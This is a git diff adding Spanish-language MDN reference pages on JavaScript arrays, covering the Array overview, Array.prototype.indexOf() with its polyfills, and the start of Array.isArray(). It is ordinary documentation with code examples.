+<p>Los elementos de un <em>array</em> pueden considerarse propiedades del objeto tanto como <code>toString</code> (sin embargo, para ser precisos, <code>toString()</code> es un método). Sin embargo, se obtendrá un error de sintaxis si se intenta acceder a un elemento de un <em>array</em> de la forma siguiente, ya que el nombre de la propiedad no sería válido:</p>
+
+<pre class="brush: js notranslate">console.log(arr.0) // error de sintaxis</pre>
+
+<p>No hay nada especial ni en los <em>arrays</em> de JavaScript ni en sus propiedades que ocasione esto. En JavaScript, las propiedades cuyo nombre comienza con un dígito no pueden referenciarse con la notación punto y debe accederse a ellas mediante la notación corchete.</p>
+
+<p>Por ejemplo, dado un objeto con una propiedad de nombre <code>'3d'</code>, sólo podría accederse a dicha propiedad con la notación corchete.</p>
+
+<pre class="brush: js notranslate">let decadas = [1950, 1960, 1970, 1980, 1990, 2000, 2010]
+console.log(decadas.0)  // error de sintaxis
+console.log(decadas[0]) // funciona correctamente
+</pre>
+
+<pre class="brush: js notranslate">renderizador.3d.usarTextura(modelo, 'personaje.png')
+renderizador['3d'].usarTextura(modelo, 'personaje.png')</pre>
+
+<p>Obsérvese que, en el último ejemplo, ha sido necesario poner <code>'3d'</code> entre comillas. Es posible usar también comillas con los índices del los <em>arrays</em> de JavaScript (p. ej., <code>decadas['2']</code> en vez de <code>decadas[2]</code>), aunque no es necesario.</p>
+
+<p>El motor de JavaScript transforma en un string el 2 de <code>decadas[2]</code> a través de una conversión implícita mediante <code>toString</code>. Por tanto, <code>'2'</code> y <code>'02'</code> harían referencia a dos posiciones diferentes en el objeto <code>decadas</code>, y el siguiente ejemplo podría dar <code>true</code> como resultado:</p>
+
+<pre class="brush: js notranslate">console.log(decadas['2'] != decadas['02'])</pre>
+
+<h3 id="Relación_entre_length_y_las_propiedades_numéricas">Relación entre <code>length</code> y las propiedades numéricas</h3>
+
+<p>La propiedad <code>length</code> de un <em>array</em> de JavaScript está conectada con algunas otras de sus propiedades numéricas.</p>
+
+<p>Varios de los métodos propios de un <em>array</em> (p. ej., <code>join()</code>, <code>slice()</code>, <code>indexOf()</code>, etc.) tienen en cuenta el valor de la propiedad <code>length</code> de un array cuando se les llama.</p>
+
+<p>Otros métodos (p. ej., <code>push()</code>, <code>splice()</code>, etc.) modifican la propiedad <code>length</code> de un array.</p>
+
+<pre class="brush: js notranslate">const frutas = []
+frutas.push('banana', 'manzana', 'pera')
+
+console.log(frutas.length) // 3
+</pre>
+
+<p>Cuando se le da a una propiedad de un <em>array</em> JavaScript un valor que corresponda a un índice válido para el <em>array</em> pero que se encuentre fuera de sus límites, el motor actualizará el valor de la propiedad <code>length</code> como corresponda:</p>
+
+<pre class="brush: js notranslate">frutas[5] = 'fresa'
+console.log(frutas[5])           // 'fresa'
+console.log(Object.keys(frutas)) // ['0', '1', '2', '5']
+console.log(frutas.length)       // 6
+</pre>
+
+<p>Si se aumenta el valor de <code>length</code>:</p>
+
+<pre class="brush: js notranslate">frutas.length = 10
+console.log(frutas)              // ['banana', 'manzana', 'pera', &lt;2 empty items&gt;, 'fresa', &lt;4 empty items&gt;]
+console.log(Object.keys(frutas)) // ['0', '1', '2', '5']
+console.log(frutas.length)       // 10
+console.log(frutas[8])           // undefined
+</pre>
+
+<p>Si se disminuye el valor de la propiedad <code>length</code> pueden eliminarse elementos:</p>
+
+<pre class="brush: js notranslate">frutas.length = 2
+console.log(Object.keys(frutas)) // ['0', '1']
+console.log(frutas.length)       // 2
+</pre>
+
+<p>Hay más información sobre este tema en la página sobre <code><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/length">Array.length</a></code>.</p>
+
+<h3 id="Creación_de_un_array_a_partir_de_una_expresión_regular">Creación de un <em>array</em> a partir de una expresión regular</h3>
+
+<p>El resultado de una búsqueda con una <code>RegExp</code> en un string puede crear un <em>array</em> de JavaScript. Este array tendrá propiedades y elementos que proporcionan información sobre la correspondencia encontrada. Para obtener un <em>array</em> de esta forma puede utilizarse <code>RegExp.exec()</code>, <code>String.match()</code> o <code>String.replace()</code>.</p>
+
+<p>El siguiente ejemplo, y la tabla que le sigue, pueden ayudar a comprender mejor las propiedades y elementos a los que nos referimos:</p>
+
+<pre class="brush: js notranslate">// Buscar una d seguida de una o más b y, al final, de otra d
+// Recordar las b y la d final
+// No distinguir mayúsculas y minúsculas
+
+const miRe = /d(b+)(d)/i
+const miArray = miRe.exec('cdbBdbsbz')</pre>
+
+<p>Las propiedades y elementos que se obtienen de esta búsqueda son los siguientes:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propiedad/Elemento</th>
+   <th scope="col">Descripción</th>
+   <th scope="col">Ejemplo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>input</code><br>
+    {{ReadOnlyInline}}</td>
+   <td>El string original sobre el que se ha realizado la búsqueda con la expresión regular</td>
+   <td><code>"cdbBdbsbz"</code></td>
+  </tr>
+  <tr>
+   <td><code>index</code><br>
+    {{ReadOnlyInline}}</td>
+   <td>El índice de la correspondencia en el string, siendo cero el de la primera posición.</td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <td><code>[0]</code><br>
+    {{ReadOnlyInline}}</td>
+   <td>Los últimos caracteres que cumplen la correspondencia</td>
+   <td><code>"dbBd"</code></td>
+  </tr>
+  <tr>
+   <td><code>[1], ...[n]</code><br>
+    {{ReadOnlyInline}}</td>
+   <td>Elementos que indican las correspondencias de substrings entre paréntesis (si se han incluido) de la expresión regular. No hay límite al número de substrings entre paréntesis que se puedan utilizar.</td>
+   <td><code>[1]: "bB"<br>
+    [2]: "d"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt><strong><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array">Array()</a></code></strong></dt>
+ <dd>Crea un nuevo objeto <code>Array</code>.</dd>
+</dl>
+
+<h2 id="Propiedades_estáticas">Propiedades estáticas</h2>
+
+<dl>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/@@species">get Array[@@species]</a></code></dt>
+ <dd>La función del constructor se utiliza para crear objetos derivados.</dd>
+</dl>
+
+<h2 id="Métodos_estáticos">Métodos estáticos</h2>
+
+<dl>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/from">Array.from()</a></code></dt>
+ <dd>Crea una nueva instancia de <code>Array</code> a partir de <code><em>similarAUnArray</em></code>, un objeto iterable o parecido a un <em>array.</em></dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/isArray">Array.isArray()</a></code></dt>
+ <dd>Devuelve <code>true</code> si <code><em>valor</em></code> es un <em>array</em>, y <code>false</code> en caso contrario.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/of">Array.of()</a></code></dt>
+ <dd>Crea una nueva instancia de <code>Array</code> con un número variable de parámetros, independientemente del número y del tipo de dichos parámetros.</dd>
+</dl>
+
+<h2 id="Propiedades_de_instancia">Propiedades de instancia</h2>
+
+<dl>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/length">Array.prototype.length</a></code></dt>
+ <dd>Indica el número de elementos de un <em>array</em>.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/@@unscopables">Array.prototype[@@unscopables]</a></code></dt>
+ <dd>Símbolo que contiene todos los nombres de las propiedades que se excluyen de un ámbito de enlace <code><a href="/es/docs/Web/JavaScript/Referencia/Sentencias/with">with</a></code>.</dd>
+</dl>
+
+<h2 id="Métodos_de_instancia">Métodos de instancia</h2>
+
+<dl>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/concat">Array.prototype.concat()</a></code></dt>
+ <dd>Devuelve un nuevo <em>array</em> que es la concatenación de aquél sobre el que se invoca, seguido de otros <em>array(s)</em> o valor(es).</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/copyWithin">Array.prototype.copyWithin()</a></code></dt>
+ <dd>Copia una secuencia de elementos de un <em>array</em> dentro del propio <em>array</em>.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/entries">Array.prototype.entries()</a></code></dt>
+ <dd>Devuelve un nuevo objeto <code>Array Iterator</code> que contiene los pares clave/valor para cada índice del <em>array</em>.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/every">Array.prototype.every()</a></code></dt>
+ <dd>Devuelve <code>true</code> si todos los elementos del <em>array</em> cumplen el predicado que recibe como parámetro.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/fill">Array.prototype.fill()</a></code></dt>
+ <dd>Asigna un <em><code>valor</code></em> estático a todos los elementos del <em>array</em> entre las posiciones <code><em>inicio</em></code> y <code><em>fin</em></code>.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/filter">Array.prototype.filter()</a></code></dt>
+ <dd>Devuelve un nuevo <em>array</em> que contiene todos los elementos de aquél para el cual se llama que cumplan el predicado que se le pasa como parámetro.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/find">Array.prototype.find()</a></code></dt>
+ <dd>Devuelve el primer <em><code>elemento</code></em> del <em>array </em>que cumpla el predicado que se pasa como parámetro, o <code>undefined</code> si ninguno lo cumple.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/findIndex">Array.prototype.findIndex()</a></code></dt>
+ <dd>Devuelve el índice del primer elemento del <em>array</em> que cumpla el predicado que se pasa como parámetro, o <code>-1</code> si nunguno lo cumple.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/forEach">Array.prototype.forEach()</a></code></dt>
+ <dd>Llama a la función pasada como parámetro para todos los elementos del <em>array.</em></dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/includes">Array.prototype.includes()</a></code></dt>
+ <dd>Determina si el <em>array</em> contiene el <code><em>valorBuscado</em></code> y devuelve <code>true</code> o <code>false</code> según sea el caso.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/indexOf">Array.prototype.indexOf()</a></code></dt>
+ <dd>Devuelve el índice del primer elemento del <em>array</em> que sea igual a <code><em>elementoBuscado</em></code>, o <code>-1</code> si no existe.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/join">Array.prototype.join()</a></code></dt>
+ <dd>Concatena en un string todos los elementos de un <em>array.</em></dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/keys">Array.prototype.keys()</a></code></dt>
+ <dd>Devuelve un nuevo <code>Array Iterator</code> que contiene las claves de cada índice del <em>array.</em></dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/lastIndexOf">Array.prototype.lastIndexOf()</a></code></dt>
+ <dd>Devuelve el índice del último elemento del <em>array</em> que sea igual a <code><em>elementoBuscado</em></code>, o <code>-1</code> si no existe.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/map">Array.prototype.map()</a></code></dt>
+ <dd>Devuelve un nuevo <em>array</em> que contiene el resultado de llamar a la función pasada como parámetro a todos los elementos del <em>array</em> sobre el que se invoca.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/pop">Array.prototype.pop()</a></code></dt>
+ <dd>Elimina el último elemento de un <em>array</em>, y devuelve dicho elemento.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/push">Array.prototype.push()</a></code></dt>
+ <dd>Añade uno o más elementos al final de un <em>array</em> y devuelve el nuevo valor de su propiedad <code>length</code>.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/reduce">Array.prototype.reduce()</a></code></dt>
+ <dd>Aplica la función pasada como parámetro a un <code><em>acumulador</em></code> y a cada valor del <em>array</em>, que se recorre de izquierda a derecha, para reducirlo a un único valor.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/reduceRight">Array.prototype.reduceRight()</a></code></dt>
+ <dd>Aplica la función pasada como parámetro a un <em><code>acumulador</code></em> y a cada valor del <em>array</em>, que se recorre de derecha a izquierda, para reducirlo a un único valor.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/reverse">Array.prototype.reverse()</a></code></dt>
+ <dd>Invierte el orden de los elementos de un <em>array</em> (el primero pasa a ser el último y el último a ser el primero) en el propio <em>array.</em> Este método modifica el array.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/shift">Array.prototype.shift()</a></code></dt>
+ <dd>Elimina el primer elemento de un <em>array</em>, y devuelve dicho elemento.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/slice">Array.prototype.slice()</a></code></dt>
+ <dd>Extrae una porción del <em>array</em> sobre el que se llama y devuelve un nuevo <em>array</em>.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/some">Array.prototype.some()</a></code></dt>
+ <dd>Devuelve <code>true</code> si al menos un elemento del <em>array</em> cumple con el predicado que se pasa como parámetro.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/sort">Array.prototype.sort()</a></code></dt>
+ <dd>Ordena los elementos de un <em>array</em>, modificando éste, y devuelve el array ordenado.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/splice">Array.prototype.splice()</a></code></dt>
+ <dd>Añade, borra o modifica elementos de un <em>array</em>.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/toLocaleString">Array.prototype.toLocaleString()</a></code></dt>
+ <dd>Devuelve un string adaptado a la configuración regional que representa el <em>array</em> y sus elementos. Redefine el método <code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/toLocaleString">Object.prototype.toLocaleString()</a></code>.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/toString">Array.prototype.toString()</a></code></dt>
+ <dd>Devuelve un string que representa el <em>array</em> y sus elementos. Redefine el método <code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/toString">Object.prototype.toString()</a></code>.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/unshift">Array.prototype.unshift()</a></code></dt>
+ <dd>Añada uno o más elementos al inicio de un <em>array</em> y devuelve el nuevo valor de <code>length</code> para el <em>array</em> resultante.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/values">Array.prototype.values()</a></code></dt>
+ <dd>Devuelve un nuevo objeto <code>Array Iterator</code> que contiene los valores para cada índice del <em>array</em>.</dd>
+ <dt><code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/@@iterator">Array.prototype[@@iterator]()</a></code></dt>
+ <dd>Devuelve un nuevo objeto <code>Array Iterator</code> que contiene los valores para cada índice del <em>array</em>.</dd>
+</dl>
+
+<p>Ejemplos</p>
+
+<h3 id="Creando_un_Arreglo" name="Creando_un_Arreglo">Creación de una matriz unidimensional</h3>
+
+<p>El siguiente ejemplo crea un <em>array </em><code>mensajes</code> con una longitud de 0, y luego asigna valores a <code>mensajes[0]</code> y a <code>mensajes[99]</code>, con lo que la longitud del <em>array</em> pasa a ser 100.</p>
+
+<pre class="brush: js notranslate">let mensajes = [];
+mensajes[0] = "Hola";
+mensajes[99] = "mundo";
+
+if (mensajes.length === 100) {
+   console.log("La longitud es de 100.");
+}
+</pre>
+
+<h3 id="Creaci.C3.B3n_de_un_arreglo_de_dos_dimensiones" name="Creaci.C3.B3n_de_un_arreglo_de_dos_dimensiones">Creación de una matriz de dos dimensiones</h3>
+
+<p>El siguiente ejemplo crea una matriz bidimensional que representa un tablero de ajedrez. El primer movimiento se realiza copiando la <code>'p'</code> de <code>tablero[6][4]</code> en <code>tablero[4][4]</code>. La posición <code>[6][4]</code> se limpia.</p>
+
+<pre class="notranslate">let tablero = [
+  ['T','C','A','D','R','A','C','T'],
+  ['P','P','P','P','P','P','P','P'],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  ['p','p','p','p','p','p','p','p'],
+  ['r','c','a','d','r','a','c','t'] ]
+
+console.log(tablero.join('\n') + '\n\n')
+
+// Adelantar dos posiciones el peón de rey
+tablero[4][4] = tablero[6][4]
+tablero[6][4] = ' '
+console.log(tablero.join('\n'))</pre>
+
+<p>Este es el resultado:</p>
+
+<pre class="eval notranslate">T,C,A,D,R,A,C,T
+P,P,P,P,P,P,P,P
+ , , , , , , ,
+ , , , , , , ,
+ , , , , , , ,
+ , , , , , , ,
+p,p,p,p,p,p,p,p
+r,c,a,d,r,a,c,t
+
+P,P,P,P,P,P,P,P
+ , , , , , , ,
+ , , , , , , ,
+ , , , ,p, , ,
+ , , , , , , ,
+p,p,p,p, ,p,p,p
+r,c,a,d,r,a,c,t
+</pre>
+
+
+
+<h3 id="Uso_de_un_array_para_tabular_un_conjunto_de_valores">Uso de un <em>array</em> para tabular un conjunto de valores</h3>
+
+<pre class="notranslate">valores = []
+for (let x = 0; x &lt; 10; x++){
+ valores.push([
+  2 ** x,
+  2 * x ** 2
+ ])
+}
+console.table(valores)</pre>
+
+<p>da como resultado:</p>
+
+<pre class="notranslate">0	1	0
+1	2	2
+2	4	8
+3	8	18
+4	16	32
+5	32	50
+6	64	72
+7	128	98
+8	256	128
+9	512	162</pre>
+
+<p>(La primera columna es el índice).</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Publicación inicial</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array-objects', 'Array')}}</td>
+   <td>ECMAScript 1</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página es generada desde datos estructurados. Si te gustaría contribuir a los datos, por favor visite <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envianos una solicitud de extracción(pull request).</div>
+
+<p>{{Compat("javascript.builtins.Array")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>En la Guía de JavaScript:
+  <ul>
+   <li><a href="/es/docs/Web/JavaScript/Guide/Working_with_Objects#Indexing_object_properties">"Propiedades indexadas de un objeto"</a></li>
+   <li><a href="/es/docs/Web/JavaScript/Guide/Indexed_collections#Array_object">"Colecciones con índice: objeto Array"</a></li>
+  </ul>
+ </li>
+ <li><a href="/es/docs/JavaScript_typed_arrays">Arrays tipados</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/indexof/index.html b/files/es/web/javascript/referencia/objetos_globales/array/indexof/index.html
new file mode 100644
index 0000000000..7aad7773b1
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/indexof/index.html
@@ -0,0 +1,248 @@
+---
+title: Array.prototype.indexOf()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/indexOf
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Referencia
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/indexOf
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong>indexOf()</strong> retorna el primer índice en el que se puede encontrar un elemento dado en el array, ó retorna -1 si el elemento no esta presente.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Para el método String, ver {{jsxref("String.prototype.indexOf()")}}.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><em>array</em>.indexOf(<em>searchElement</em>[, <em>fromIndex</em>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>Elemento a encontrar en el array.</dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>Indica el índice por el que se comienza la búsqueda. Por defecto es 0, por lo que se busca en todo el array. Si el índice es mayor o igual a la longitud del array, devuelve -1, ya que no se buscaría en el array. Si el valor es negativo, se toma restando posiciones desde el final del array. Hay que tener en cuenta que aunque el índice sea negativo, la búsqueda seguirá realizándose en un orden incremental. Si el índice calculado es menor de 0, la búsqueda se realizará por todo el array.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>El primer índice del elemento en la matriz; -1 si no se encuentra.</p>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p><code>indexOf()</code> compara <code>searchElement</code> con los elementos del array usando <a href="/es/docs/Web/JavaScript/Referencia/Operadores/Comparison_Operators#Using_the_Equality_Operators" title="JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators">igualdad estricta</a> (el mismo método que cuando se usa ===, o el operador igualdad-triple).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_indexOf()">Usando <code>indexOf()</code></h3>
+
+<p>El siguiente ejemplo usa <code>indexof()</code> para localizar valores en un array </p>
+
+<pre class="brush: js">var array = [2, 9, 9];
+array.indexOf(2);     // 0
+array.indexOf(7);     // -1
+array.indexOf(9, 2);  // 2
+array.indexOf(2, -1); // -1
+array.indexOf(2, -3); // 0</pre>
+
+<h3 id="Encontrar_todas_las_apariciones_de_un_elemento">Encontrar todas las apariciones de un elemento</h3>
+
+<pre class="brush: js">var indices = [];
+var array = ['a', 'b', 'a', 'c', 'a', 'd'];
+var element = 'a';
+var idx = array.indexOf(element);
+while (idx != -1) {
+  indices.push(idx);
+  idx = array.indexOf(element, idx + 1);
+}
+console.log(indices);
+// [0, 2, 4]</pre>
+
+<h3 id="Encontrar_si_un_elemento_existe_en_la_matriz_o_no_y_actualizar_la_matriz">Encontrar si un elemento existe en la matriz o no y actualizar la matriz</h3>
+
+<pre class="brush: js">function updateVegetablesCollection (veggies, veggie) {
+    if (veggies.indexOf(veggie) === -1) {
+        veggies.push(veggie);
+        console.log('La nueva colección de vegetales es: ' + veggies);
+    } else if (veggies.indexOf(veggie) &gt; -1) {
+        console.log(veggie + ' ya existe en la colección de verduras.');
+    }
+}
+
+var veggies = ['patata', 'tomate', 'chiles', 'pimientoverde'];
+
+updateVegetablesCollection(veggies, 'espinaca');
+// La nueva colección de verduras es : patata, tomate, chiles, pimientoverde, espinaca
+updateVegetablesCollection(veggies, 'espinaca');
+// La espinaca ya existe en la colección de verduras.</pre>
+
+<p> </p>
+
+<h2 id="Compatibility" name="Compatibility">Polyfill</h2>
+
+<p><code>indexOf()</code> se agregó al estándar ECMA-262 en la 5<sup>a</sup> edición; por tanto no está implementado en todos los navegadores. Puedes hacerlo funcionar insertando el siguiente código al comienzo de tus scripts, permitiendo usar  <code>indexOf()</code> en implementaciones que no lo soporten de forma nativa. Este algoritmo es exáctamente el especificado en ECMA-262, 5ª edición, suponiendo que {{jsxref("Global_Objects/TypeError", "TypeError")}} y {{jsxref("Math.abs()")}} tienen sus valores originales.</p>
+
+
+<pre class="brush: js">if (!Array.prototype.indexOf) {
+  Array.prototype.indexOf = function indexOf(member, startFrom) {
+    /*
+    En el modo no estricto, si la variable `this` es null o indefinida, entonces se establece
+    en el objeto ventana. De lo contrario, `this` se convierte automáticamente en un objeto.
+    En modo estricto, si la variable `this` es nula o indefinida, se lanza `TypeError`.
+    */
+    if (this == null) {
+      throw new TypeError("Array.prototype.indexOf() - no se puede convertir `" + this + "` en objeto");
+    }
+
+    var
+      index = isFinite(startFrom) ? Math.floor(startFrom) : 0,
+      that = this instanceof Object ? this : new Object(this),
+      length = isFinite(that.length) ? Math.floor(that.length) : 0;
+
+    if (index &gt;= length) {
+      return -1;
+    }
+
+    if (index &lt; 0) {
+      index = Math.max(length + index, 0);
+    }
+
+    if (member === undefined) {
+      /*
+        Dado que `member` no está definido, las claves que no existan tendrán el valor de `same`
+        como `member` y, por lo tanto, es necesario verificarlas.
+      */
+      do {
+        if (index in that &amp;&amp; that[index] === undefined) {
+          return index;
+        }
+      } while (++index &lt; length);
+    } else {
+      do {
+        if (that[index] === member) {
+          return index;
+        }
+      } while (++index &lt; length);
+    }
+
+    return -1;
+  };
+}</pre>
+
+<p>Sin embargo, si está más interesado en todos los pequeños trozos técnicos definidos por el estándar ECMA, y está menos preocupado por el rendimiento o la concisión, entonces usted puede encontrar esta polyfill más descriptivo que sea más útil.</p>
+
+<pre class="brush: js">// Pasos de producción de ECMA-262, Edición 5, 15.4.4.14
+// Referencia: http://es5.github.io/#x15.4.4.14
+if (!Array.prototype.indexOf) {
+  Array.prototype.indexOf = function(searchElement, fromIndex) {
+
+    var k;
+
+    // 1. Dejar que `o` sea el resultado de llamar a ToObject
+    //    pasando este valor como argumento.
+    if (this == null) {
+      throw new TypeError('"this" is null or not defined');
+    }
+
+    var o = Object(this);
+
+    // 2. Dejar que `lenValue` sea el resultado de llamar al método interno
+    //    de `o` con el argumento "length".
+    // 3. Dejar que len sea ToUint32(lenValue).
+    var len = o.length &gt;&gt;&gt; 0;
+
+    // 4. Si `len` es 0, devolver -1.
+    if (len === 0) {
+      return -1;
+    }
+
+    // 5. Si se pasó el argumento `fromIndex`, deje que `n` sea
+    //    ToInteger(fromIndex); si no, que `n` sea 0.
+    var n = fromIndex | 0;
+
+    // 6. Si n &gt;= len, devolver -1.
+    if (n &gt;= len) {
+      return -1;
+    }
+
+    // 7. Si n &gt;= 0, entonces deja que `k` sea `n`.
+    // 8. Si no, n&lt;0, deja que `k` sea `len - abs(n)`.
+    //    Si `k` es menor que 0, entonces deja que `k` sea 0.
+    k = Math.max(n &gt;= 0 ? n : len - Math.abs(n), 0);
+
+    // 9. Repite, mientras k &lt; len
+    while (k &lt; len) {
+      // a. Dejar que `Pk` sea ToString(k).
+      //   Esto está implícito para los operandos LHS del operador in
+      // b. Dejar que kPresent sea el resultado de llamar al método
+      //    interno `HasProperty` de `o` con el argumento `Pk`.
+      //   Este paso se puede combinar con `c`
+      // c. Si kPresent es verdadero, entonces
+      //    i.  Dejar que `elementK` sea el resultado de llamar al método
+      //        interno de `o` con el argumento ToString(k).
+      //   ii.  Deje que `same` sea el resultado de aplicar el
+      //        Algoritmo de comparación de igualdad estricta a
+      //        searchElement y elementK.
+      //  iii.  Si `same` es true, devuelve `k`.
+      if (k in o &amp;&amp; o[k] === searchElement) {
+        return k;
+      }
+      k++;
+    }
+    return -1;
+  };
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.14', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("javascript.builtins.Array.indexOf")}}</p>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<ul>
+ <li>Comenzando con Firefox 47 {{geckoRelease(47)}}, este método ya no devolverá <code>-0</code>. Por ejemplo, <code>[0] .indexOf (0, -0)</code> siempre devolverá <code>+0</code> ({{bug(1242043)}}).</li>
+</ul>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/isarray/index.html b/files/es/web/javascript/referencia/objetos_globales/array/isarray/index.html
new file mode 100644
index 0000000000..b2a115a814
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/isarray/index.html
@@ -0,0 +1,128 @@
+---
+title: Array.isArray()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/isArray
+tags:
+  - Array
+  - ECMAScript5
+  - JavaScript
+  - Referencia
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/isArray
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Array.isArray()</strong></code> determina si el valor pasado es un {{jsxref("Array")}}.</p>
+
+<pre class="brush: js">Array.isArray([1, 2, 3]);  // true
+Array.isArray({foo: 123}); // false
+Array.isArray('foobar');   // false
+Array.isArray(undefined);  // false
+</pre>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
